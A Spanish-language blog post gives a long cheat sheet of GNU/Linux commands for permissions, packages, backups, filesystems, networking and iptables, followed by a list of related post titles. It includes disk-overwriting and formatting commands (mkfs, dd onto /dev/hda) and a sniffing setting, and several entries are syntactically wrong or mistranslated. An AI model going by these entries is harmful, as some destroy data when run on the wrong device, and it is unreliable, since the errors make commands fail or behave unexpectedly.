Permisos en Ficheros (Usa ”+” para colocar permisos y ”-” para eliminar)

ls -lh: Mostrar permisos.
ls /tmp | pr -T5 -W$COLUMNS: dividir la terminal en 5 columnas.
chmod ugo+rwx directory1: colocar permisos de lectura ®, escritura (w) y ejecución(x) al propietario (u), al grupo (g) y a otros (o) sobre el directorio ‘directory1′.
chmod go-rwx directory1: quitar permiso de lectura ®, escritura (w) y (x) ejecución al grupo (g) y otros (o) sobre el directorio ‘directory1′.
chown user1 file1: cambiar el dueño de un fichero.
chown -R user1 directory1: cambiar el propietario de un directorio y de todos los ficheros y directorios contenidos dentro.
chgrp group1 file1: cambiar grupo de ficheros.
chown user1:group1 file1: cambiar usuario y el grupo propietario de un fichero.
find / -perm -u+s: visualizar todos los ficheros del sistema con SUID configurado.
chmod u+s /bin/file1: colocar el bit SUID en un fichero binario. El usuario que corriendo ese fichero adquiere los mismos privilegios como dueño.
chmod u-s /bin/file1: deshabilitar el bit SUID en un fichero binario.
chmod g+s /home/public: colocar un bit SGID en un directorio –similar al SUID pero por directorio.
chmod g-s /home/public: desabilitar un bit SGID en un directorio.
chmod o+t /home/public: colocar un bit STIKY en un directorio. Permite el borrado de ficheros solamente a los dueños legítimos.
chmod o-t /home/public: desabilitar un bit STIKY en un directorio.

Atributos especiales en ficheros (Usa ”+” para colocar permisos y ”-” para eliminar)

chattr +a file1: permite escribir abriendo un fichero solamente modo append.
chattr +c file1: permite que un fichero sea comprimido / descomprimido automaticamente.
chattr +d file1: asegura que el programa ignore borrar los ficheros durante la copia de seguridad.
chattr +i file1: convierte el fichero en invariable, por lo que no puede ser eliminado, alterado, renombrado, ni enlazado.
chattr +s file1: permite que un fichero sea borrado de forma segura.
chattr +S file1: asegura que un fichero sea modificado, los cambios son escritos en modo synchronous como con sync.
chattr +u file1: te permite recuperar el contenido de un fichero aún si este está cancelado.
lsattr: mostrar atributos especiales.

Archivos y Ficheros comprimidos

bunzip2 file1.bz2: descomprime in fichero llamado ‘file1.bz2′.
bzip2 file1: comprime un fichero llamado ‘file1′.
gunzip file1.gz: descomprime un fichero llamado ‘file1.gz’.
gzip file1: comprime un fichero llamado ‘file1′.
gzip -9 file1: comprime con compresión máxima.
rar a file1.rar test_file: crear un fichero rar llamado ‘file1.rar’.
rar a file1.rar file1 file2 dir1: comprimir ‘file1′, ‘file2′ y ‘dir1′ simultáneamente.
rar x file1.rar: descomprimir archivo rar.
unrar x file1.rar: descomprimir archivo rar.
tar -cvf archive.tar file1: crear un tarball descomprimido.
tar -cvf archive.tar file1 file2 dir1: crear un archivo conteniendo ‘file1′, ‘file2′ y’dir1′.
tar -tf archive.tar: mostrar los contenidos de un archivo.
tar -xvf archive.tar: extraer un tarball.
tar -xvf archive.tar -C /tmp: extraer un tarball en / tmp.
tar -cvfj archive.tar.bz2 dir1: crear un tarball comprimido dentro de bzip2.
tar -xvfj archive.tar.bz2: descomprimir un archivo tar comprimido en bzip2
tar -cvfz archive.tar.gz dir1: crear un tarball comprimido en gzip.
tar -xvfz archive.tar.gz: descomprimir un archive tar comprimido en gzip.
zip file1.zip file1: crear un archivo comprimido en zip.
zip -r file1.zip file1 file2 dir1: comprimir, en zip, varios archivos y directorios de forma simultánea.
unzip file1.zip: descomprimir un archivo zip.

Paquetes RPM (Red Hat, Fedora y similares)

rpm -ivh package.rpm: instalar un paquete rpm.
rpm -ivh –nodeeps package.rpm: instalar un paquete rpm ignorando las peticiones de dependencias.
rpm -U package.rpm: actualizar un paquete rpm sin cambiar la configuración de los ficheros.
rpm -F package.rpm: actualizar un paquete rpm solamente si este está instalado.
rpm -e package_name.rpm: eliminar un paquete rpm.
rpm -qa: mostrar todos los paquetes rpm instalados en el sistema.
rpm -qa | grep httpd: mostrar todos los paquetes rpm con el nombre “httpd”.
rpm -qi package_name: obtener información en un paquete específico instalado.
rpm -qg “System Environment/Daemons”: mostar los paquetes rpm de un grupo software.
rpm -ql package_name: mostrar lista de ficheros dados por un paquete rpm instalado.
rpm -qc package_name: mostrar lista de configuración de ficheros dados por un paquete rpm instalado.
rpm -q package_name –whatrequires: mostrar lista de dependencias solicitada para un paquete rpm.
rpm -q package_name –whatprovides: mostar la capacidad dada por un paquete rpm.
rpm -q package_name –scripts: mostrar los scripts comenzados durante la instalación /eliminación.
rpm -q package_name –changelog: mostar el historial de revisions de un paquete rpm.
rpm -qf /etc/httpd/conf/httpd.conf: verificar cuál paquete rpm pertenece a un fichero dado.
rpm -qp package.rpm -l: mostrar lista de ficheros dados por un paquete rpm que aún no ha sido instalado.
rpm –import /media/cdrom/RPM-GPG-KEY: importar la firma digital de la llave pública.
rpm –checksig package.rpm: verificar la integridad de un paquete rpm.
rpm -qa gpg-pubkey: verificar la integridad de todos los paquetes rpm instalados.
rpm -V package_name: chequear el tamaño del fichero, licencias, tipos, dueño, grupo, chequeo de resumen de MD5 y última modificación.
rpm -Va: chequear todos los paquetes rpm instalados en el sistema. Usar con cuidado.
rpm -Vp package.rpm: verificar un paquete rpm no instalado todavía.
rpm2cpio package.rpm | cpio –extract –make-directories *bin*: extraer fichero ejecutable desde un paquete rpm.
rpm -ivh /usr/src/redhat/RPMS/arch/package.rpm: instalar un paquete construido desde una fuente rpm.
rpmbuild –rebuild package_name.src.rpm: construir un paquete rpm desde una fuente rpm.

Dominando el Terminal..Comandos para GNU/Linux .Part. II

2013-01-15T15:53:00.001+01:00

Continuando con el listado de Comandos.....

Actualizador de paquetes YUM (Red Hat, Fedora y similares)

yum install package_name: descargar e instalar un paquete rpm.
yum localinstall package_name.rpm: este instalará un RPM y tratará de resolver todas las dependencies para ti, usando tus repositorios.
yum update package_name.rpm: actualizar todos los paquetes rpm instalados en el sistema.
yum update package_name: modernizar / actualizar un paquete rpm.
yum remove package_name: eliminar un paquete rpm.
yum list: listar todos los paquetes instalados en el sistema.
yum search package_name: Encontrar un paquete en repositorio rpm.
yum clean packages: limpiar un caché rpm borrando los paquetes descargados.
yum clean headers: eliminar todos los ficheros de encabezamiento que el sistema usa para resolver la dependencia.
yum clean all: eliminar desde los paquetes caché y ficheros de encabezado.

Paquetes Deb (Debian, Ubuntu y derivados)

dpkg -i package.deb: instalar / actualizar un paquete deb.
dpkg -r package_name: eliminar un paquete deb del sistema.
dpkg -l: mostrar todos los paquetes deb instalados en el sistema.
dpkg -l | grep httpd: mostrar todos los paquetes deb con el nombre “httpd”
dpkg -s package_name: obtener información en un paquete específico instalado en el sistema.
dpkg -L package_name: mostar lista de ficheros dados por un paquete instalado en el sistema.
dpkg –contents package.deb: mostrar lista de ficheros dados por un paquete no instalado todavía.
dpkg -S /bin/ping: verificar cuál paquete pertenece a un fichero dado.
Actualizador de paquetes APT (Debian, Ubuntu y derivados)
apt-get install package_name: instalar / actualizar un paquete deb.
apt-cdrom install package_name: instalar / actualizar un paquete deb desde un cdrom.
apt-get update: actualizar la lista de paquetes.
apt-get upgrade: actualizar todos los paquetes instalados.
apt-get remove package_name: eliminar un paquete deb del sistema.
apt-get check: verificar la correcta resolución de las dependencias.
apt-get clean: limpiar cache desde los paquetes descargados.
apt-cache search searched-package: retorna lista de paquetes que corresponde a la serie «paquetes buscados».

Ver el contenido de un fichero

cat file1: ver los contenidos de un fichero comenzando desde la primera hilera.
tac file1: ver los contenidos de un fichero comenzando desde la última línea.
more file1: ver el contenido a lo largo de un fichero.
less file1: parecido al commando ‘more’ pero permite salvar el movimiento en el fichero así como el movimiento hacia atrás.
head -2 file1: ver las dos primeras líneas de un fichero.
tail -2 file1: ver las dos últimas líneas de un fichero.
tail -f /var/log/messages: ver en tiempo real qué ha sido añadido al fichero.

Manipulación de texto

cat file1 file2 .. | command <> file1_in.txt_or_file1_out.txt: sintaxis general para la manipulación de texto utilizando PIPE, STDIN y STDOUT.
cat file1 | command( sed, grep, awk, grep, etc…) > result.txt: sintaxis general para manipular un texto de un fichero y escribir el resultado en un fichero nuevo.
cat file1 | command( sed, grep, awk, grep, etc…) » result.txt: sintaxis general para manipular un texto de un fichero y añadir resultado en un fichero existente.
grep Aug /var/log/messages: buscar palabras “Aug” en el fichero ‘/var/log/messages’.
grep ^Aug /var/log/messages: buscar palabras que comienzan con “Aug” en fichero ‘/var/log/messages’
grep [0-9] /var/log/messages: seleccionar todas las líneas del fichero ‘/var/log/messages’ que contienen números.
grep Aug -R /var/log/*: buscar la cadena “Aug” en el directorio ‘/var/log’ y debajo.
sed ‘s/stringa1/stringa2/g’ example.txt: reubicar “string1” con “string2” en ejemplo.txt
sed ‘/^$/d’ example.txt: eliminar todas las líneas en blanco desde el ejemplo.txt
sed ‘/ *#/d; /^$/d’ example.txt: eliminar comentarios y líneas en blanco de ejemplo.txt
echo ‘esempio’ | tr ‘[:lower:]‘ ‘[:upper:]‘: convertir minúsculas en mayúsculas.
sed -e ’1d’ result.txt: elimina la primera línea del fichero ejemplo.txt
sed -n ‘/stringa1/p’: visualizar solamente las líneas que contienen la palabra “string1”.

Establecer caracter y conversión de ficheros

dos2unix filedos.txt fileunix.txt: convertir un formato de fichero texto desde MSDOS a UNIX.
unix2dos fileunix.txt filedos.txt: convertir un formato de fichero de texto desde UNIX a MSDOS.
recode ..HTML < page.txt > page.html: convertir un fichero de texto en html.
recode -l | more: mostrar todas las conversiones de formato disponibles.

Análisis del sistema de ficheros

badblocks -v /dev/hda1: Chequear los bloques defectuosos en el disco hda1.
fsck /dev/hda1: reparar / chequear la integridad del fichero del sistema Linux en el disco hda1.
fsck.ext2 /dev/hda1: reparar / chequear la integridad del fichero del sistema ext 2 en el disco hda1.
e2fsck /dev/hda1: reparar / chequear la integridad del fichero del sistema ext 2 en el disco hda1.
e2fsck -j /dev/hda1: reparar / chequear la integridad del fichero del sistema ext 3 en el disco hda1.
fsck.ext3 /dev/hda1: reparar / chequear la integridad del fichero del sistema ext 3 en el disco hda1.
fsck.vfat /dev/hda1: reparar / chequear la integridad del fichero sistema fat en el disco hda1.
fsck.msdos /dev/hda1: reparar / chequear la integridad de un fichero del sistema dos en el disco hda1.
dosfsck /dev/hda1: reparar / chequear la integridad de un fichero del sistema dos en el disco hda1.

Formatear un sistema de ficheros

mkfs /dev/hda1: crear un fichero de sistema tipo Linux en la partición hda1.
mke2fs /dev/hda1: crear un fichero de sistema tipo Linux ext 2 en hda1.
mke2fs -j /dev/hda1: crear un fichero de sistema tipo Linux ext3 (periódico) en la partición hda1.
mkfs -t vfat 32 -F /dev/hda1: crear un fichero de sistema FAT32 en hda1.
fdformat -n /dev/fd0: formatear un disco flooply.
mkswap /dev/hda3: crear un fichero de sistema swap.

Trabajo con la SWAP

mkswap /dev/hda3: crear fichero de sistema swap.
swapon /dev/hda3: activando una nueva partición swap.
swapon /dev/hda2 /dev/hdb3: activar dos particiones swap.

Respaldos (Backup)

dump -0aj -f /tmp/home0.bak /home: hacer una salva completa del directorio ‘/home’.
dump -1aj -f /tmp/home0.bak /home: hacer una salva incremental del directorio ‘/home’.
restore -if /tmp/home0.bak: restaurando una salva interactivamente.
rsync -rogpav –delete /home /tmp: sincronización entre directorios.
rsync -rogpav -e ssh –delete /home ip_address:/tmp: rsync a través del túnel SSH.
rsync -az -e ssh –delete ip_addr:/home/public /home/local: sincronizar un directorio local con un directorio remoto a través de ssh y de compresión.
rsync -az -e ssh –delete /home/local ip_addr:/home/public: sincronizar un directorio remoto con un directorio local a través de ssh y de compresión.
dd bs=1M if=/dev/hda | gzip | ssh user@ip_addr ‘dd of=hda.gz’: hacer una salva de un disco duro en un host remoto a través de ssh.
dd if=/dev/sda of=/tmp/file1: salvar el contenido de un disco duro a un fichero. (En este caso el disco duro es “sda” y el fichero “file1”).
tar -Puf backup.tar /home/user: hacer una salva incremental del directorio ‘/home/user’.
( cd /tmp/local/ && tar c . ) | ssh -C user@ip_addr ‘cd /home/share/ && tar x -p’: copiar el contenido de un directorio en un directorio remoto a través de ssh.
( tar c /home ) | ssh -C user@ip_addr ‘cd /home/backup-home && tar x -p’: copiar un directorio local en un directorio remoto a través de ssh.
tar cf – . | (cd /tmp/backup ; tar xf – ): copia local conservando las licencias y enlaces desde un directorio a otro.
find /home/user1 -name ‘*.txt’ | xargs cp -av –target-directory=/home/backup/ –parents: encontrar y copiar todos los ficheros con extensión ‘.txt’ de un directorio a otro.
find /var/log -name ‘*.log’ | tar cv –files-from=- | bzip2 > log.tar.bz2: encontrar todos los ficheros con extensión ‘.log’ y hacer un archivo bzip.
dd if=/dev/hda of=/dev/fd0 bs=512 count=1: hacer una copia del MRB (Master Boot Record) a un disco floppy.
dd if=/dev/fd0 of=/dev/hda bs=512 count=1: restaurar la copia del MBR (Master Boot Record) salvada en un floppy.

CD-ROM

cdrecord -v gracetime=2 dev=/dev/cdrom -eject blank=fast -force: limpiar o borrar un cd regrabable.
mkisofs /dev/cdrom > cd.iso: crear una imagen iso de cdrom en disco.
mkisofs /dev/cdrom | gzip > cd_iso.gz: crear una imagen comprimida iso de cdrom en disco.
mkisofs -J -allow-leading-dots -R -V “Label CD” -iso-level 4 -o ./cd.iso data_cd: crear una imagen iso de un directorio.
cdrecord -v dev=/dev/cdrom cd.iso: quemar una imagen iso.
gzip -dc cd_iso.gz | cdrecord dev=/dev/cdrom -: quemar una imagen iso comprimida.
mount -o loop cd.iso /mnt/iso: montar una imagen iso.
cd-paranoia -B: llevar canciones de un cd a ficheros wav.
cd-paranoia – ”-3”: llevar las 3 primeras canciones de un cd a ficheros wav.
cdrecord –scanbus: escanear bus para identificar el canal scsi.
dd if=/dev/hdc | md5sum: hacer funcionar un md5sum en un dispositivo, como un CD.

Trabajo con la RED ( LAN y Wi-Fi)

ifconfig eth0: mostrar la configuración de una tarjeta de red Ethernet.
ifup eth0: activar una interface ‘eth0′.
ifdown eth0: deshabilitar una interface ‘eth0′.
ifconfig eth0 192.168.1.1 netmask 255.255.255.0: configurar una dirección IP.
ifconfig eth0 promisc: configurar ‘eth0′en modo común para obtener los paquetes (sniffing).
dhclient eth0: activar la interface ‘eth0′ en modo dhcp.
route -n: mostrar mesa de recorrido.
route add -net 0/0 gw IP_Gateway: configurar entrada predeterminada.
route add -net 192.168.0.0 netmask 255.255.0.0 gw 192.168.1.1: configurar ruta estática para buscar la red ’192.168.0.0/16′.
route del 0/0 gw IP_gateway: eliminar la ruta estática.
echo “1” > /proc/sys/net/ipv4/ip_forward: activar el recorrido ip.
hostname: mostrar el nombre del host del sistema.
host www.example.com: buscar el nombre del host para resolver el nombre a una dirección ip(1).
nslookup www.example.com: buscar el nombre del host para resolver el nombre a una direccióm ip y viceversa(2).
ip link show: mostar el estado de enlace de todas las interfaces.
mii-tool eth0: mostar el estado de enlace de ‘eth0′.
ethtool eth0: mostrar las estadísticas de tarjeta de red ‘eth0′.
netstat -tup: mostrar todas las conexiones de red activas y sus PID.
netstat -tupl: mostrar todos los servicios de escucha de red en el sistema y sus PID.
tcpdump tcp port 80: mostrar todo el tráfico HTTP.
iwlist scan: mostrar las redes inalámbricas.
iwconfig eth1: mostrar la configuración de una tarjeta de red inalámbrica.
whois www.example.com: buscar en base de datos Whois.

Redes de Microsoft Windows (SAMBA)

nbtscan ip_addr: resolución de nombre de red bios.
nmblookup -A ip_addr: resolución de nombre de red bios.
smbclient -L ip_addr/hostname: mostrar acciones remotas de un host en windows.

Tablas IP (CORTAFUEGOS)

iptables -t filter -L: mostrar todas las cadenas de la tabla de filtro.
iptables -t nat -L: mostrar todas las cadenas de la tabla nat.
iptables -t filter -F: limpiar todas las reglas de la tabla de filtro.
iptables -t nat -F: limpiar todas las reglas de la tabla nat.
iptables -t filter -X: borrar cualquier cadena creada por el usuario.
iptables -t filter -A INPUT -p tcp –dport telnet -j ACCEPT: permitir las conexiones telnet para entar.
iptables -t filter -A OUTPUT -p tcp –dport http -j DROP: bloquear las conexiones HTTPpara salir.
iptables -t filter -A FORWARD -p tcp –dport pop3 -j ACCEPT: permitir las conexionesPOP a una cadena delantera.
iptables -t filter -A INPUT -j LOG –log-prefix “DROP INPUT”: registrando una cadena de entrada.
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE: configurar un PAT (Puerto de traducción de dirección) en eth0, ocultando los paquetes de salida forzada.
iptables -t nat -A PREROUTING -d 192.168.0.1 -p tcp -m tcp –dport 22 -j DNAT –to-destination 10.0.0.2:22: redireccionar los paquetes diriguidos de un host a otro.

Monitoreando y depurando

top: mostrar las tareas de linux usando la mayoría cpu.
ps -eafw: muestra las tareas Linux.
ps -e -o pid,args –forest: muestra las tareas Linux en un modo jerárquico.
pstree: mostrar un árbol sistema de procesos.
kill -9 ID_Processo: forzar el cierre de un proceso y terminarlo.
kill -1 ID_Processo: forzar un proceso para recargar la configuración.
lsof -p $$: mostrar una lista de ficheros abiertos por procesos.
lsof /home/user1: muestra una lista de ficheros abiertos en un camino dado del sistema.
strace -c ls >/dev/null: mostrar las llamadas del sistema hechas y recibidas por un proceso.
strace -f -e open ls >/dev/null: mostrar las llamadas a la biblioteca.
watch -n1 ‘cat /proc/interrupts’: mostrar interrupciones en tiempo real.
last reboot: mostrar historial de reinicio.
lsmod: mostrar el kernel cargado.
free -m: muestra el estado de la RAM en megabytes.
smartctl -A /dev/hda: monitorear la fiabilidad de un disco duro a través de SMART.
smartctl -i /dev/hda: chequear si SMART está activado en un disco duro.
tail /var/log/dmesg: mostrar eventos inherentes al proceso de carga del kernel.
tail /var/log/messages: mostrar los eventos del sistema.

Otros comandos útiles

apropos …keyword: mostrar una lista de comandos que pertenecen a las palabras claves de un programa; son útiles cuando tú sabes qué hace tu programa, pero de sconoces el nombre del comando.
man ping: mostrar las páginas del manual on-line; por ejemplo, en un comando ping, usar la opción ‘-k’ para encontrar cualquier comando relacionado.
whatis …keyword: muestra la descripción de lo que hace el programa.
mkbootdisk –device /dev/fd0 uname -r: crear un floppy boteable.
gpg -c file1: codificar un fichero con guardia de seguridad GNU.
gpg file1.gpg: decodificar un fichero con Guardia de seguridad GNU.
wget -r www.example.com: descargar un sitio web completo.
wget -c www.example.com/file.iso: descargar un fichero con la posibilidad de parar la descargar y reanudar más tarde.
echo ‘wget -c www.example.com/files.iso‘ | at 09:00: Comenzar una descarga a cualquier hora. En este caso empezaría a las 9 horas.
ldd /usr/bin/ssh: mostrar las bibliotecas compartidas requeridas por el programa ssh.
alias hh=’history’: colocar un alias para un commando –hh= Historial.
chsh: cambiar el comando Shell.
chsh –list-shells: es un comando adecuado para saber si tienes que hacer remoto en otra terminal.
who -a: mostrar quien está registrado, e imprimir hora del último sistema de importación, procesos muertos, procesos de registro de sistema, procesos activos producidos por init, funcionamiento actual y últimos cambios del reloj del sistema.
..........................(Un gran aporte de Natanael Garrido-Argentina).......................................

Peroma Project

Rompiendo HTTPS en sólo 30 segundos

Dropbox Uploader

La inteligencia británica espía todas las comunicaciones mundiales

Microsoft will pay hard cash to coders who tell the company about the software holes

Modelos de inteligencia computacional aplicados al diseño e investigación de detección de intrusos

Educación y conocimiento como valor agregado en la economía

Anonimato al extremo!

"Honeywall" to analyze the network traffic and Prevention of Attacks!!

Instalación y Configuracion de Apache en Debian

Acceso a través de puertos distintos

Acceso a través de nombres de dominios diferentes

Habilitar / Deshabilitar sitios web

Estructura web recomendada para múltiples sitios web

Instalación de certificados y acceso seguro con HTTPS

OpenSSL en script de Bash

Wireless Hacking ( WEP, WPA/WPA2/PSK )

Troyano se hace pasar por el popular antivirus Avast

HPC en la nube con StartCluster

Instalación y Operación de un Troyano

TROYANO FLU B0.5.2 WINDOWS

Impactos da computação em nuvem

Cómo localizar usuarios de twitter y flickr a través de sus fotos

Root en un Galaxy Nexus, Nexus 4, Nexus 7 y Nexus 10 desde Ubuntu

Aplicaciones Android con PhoneGap

Dominando el Terminal..Comandos para GNU/Linux

Dominando el Terminal..Comandos para GNU/Linux .Part. II

..........................(Un gran aporte de Natanael Garrido-Argentina).......................................